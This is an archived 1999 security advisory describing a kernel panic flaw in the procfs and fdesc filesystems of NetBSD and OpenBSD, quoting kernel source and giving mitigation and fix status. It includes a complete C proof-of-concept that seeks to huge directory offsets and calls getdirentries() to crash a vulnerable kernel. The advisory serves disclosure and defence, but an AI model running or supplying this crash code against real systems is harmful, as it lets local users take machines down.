Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
13th Aug 1999 [SBWID-117]
COMMAND
	    kernel (procfs/fdesc)
SYSTEMS AFFECTED
	    NetBSD, OpenBSD
PROBLEM
	    cstone  found  a  nasty  bug  in  the fdesc and procfs filesystems
	    included  with  NetBSD  and  OpenBSD.   Any  user with access to a
	    mounted procfs/fdesc filesystem has the ability to cause a  kernel
	    panic.  The  problem is that  the readdir vnodeop  for both procfs
	    and  fdesc  blindly  uses  the  value  of element uio_index of the
	    struct uio (passed in by VOP_READDIR()) as an index into an array,
	    without first  properly checking  its size.   sys_getdirentries(),
	    which  calls  VOP_READDIR(),  sets  uio_index  to  the open file's
	    f_offset, which is modified by lseek (among other things).  Here's
	    an  illustration,   taken  from   procfs_readdir()  in   OpenBSD's
	    procfs_vnops.c:
	
		if (uio->uio_resid < UIO_MX)
		    return (EINVAL);
		if (uio->uio_offset < 0)
		    return (EINVAL);
		error = 0;
		i = uio->uio_offset;
	    [...]
		    for (pt = &proc_targets[i];
			 uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
			if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
			    continue;
	
	    One  way  for  a  user  to  take  advantage  of this problem is as
	    follows:  a user opens either a process-specific subdirectory  (in
	    the case of procfs) or the root directory (in the case of  fdesc).
	    The  user  then  sets  the  file  offset  to an unreasonably large
	    (positive)   number   with   lseek().    The   user   then   calls
	    getdirentries().  A temporary solution is to unmount all instances
	    of procfs and fdesc.   This is not likely to  detrimentally affect
	    anything.   Here's example  code that  tries getdirentries() calls
	    on directories  after lseek()ing  to high  offsets.   (warning: if
	    your system is vulnerable, this  is very likely to cause  a kernel
	    panic)
	
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <unistd.h>
	    #include <fcntl.h>
	    #include <sys/stat.h>
	    #include <sys/types.h>
	    #include <dirent.h>
	    main(int argc, char *argv[]) {
		int dirfd;
		unsigned long basep;
		unsigned long hmm;
		char buf[2048];
		if(argc < 2) {
		    fprintf(stderr, "usage: %s directory\n", argv[0]);
		    exit(1);
		}
		if((dirfd = open(argv[1], O_RDONLY)) == -1) {
		    perror("open");
		    exit(1);
		}
		for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
		    if(lseek(dirfd, hmm, SEEK_SET) == -1) {
			perror("lseek");
			exit(1);
		    }
			    /* address won't effectively change, but index variable used as a test
			     * will be very large; kernel's loop should continue and break
			     * something
			     */
		    if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
			perror("getdirentries");
			exit(1);
		    }
		}
		    exit(0);
	    }
	
	    This problem  has existed  since at  least as  far back as OpenBSD
	    2.3 and NetBSD 1.3.2.
SOLUTION
	    Both NetBSD and OpenBSD have been contacted about this.  This  has
	    been fixed  in the  current OpenBSD  tree and  should soon be able
	    from your nearest anoncvs server.
	

Internet highlights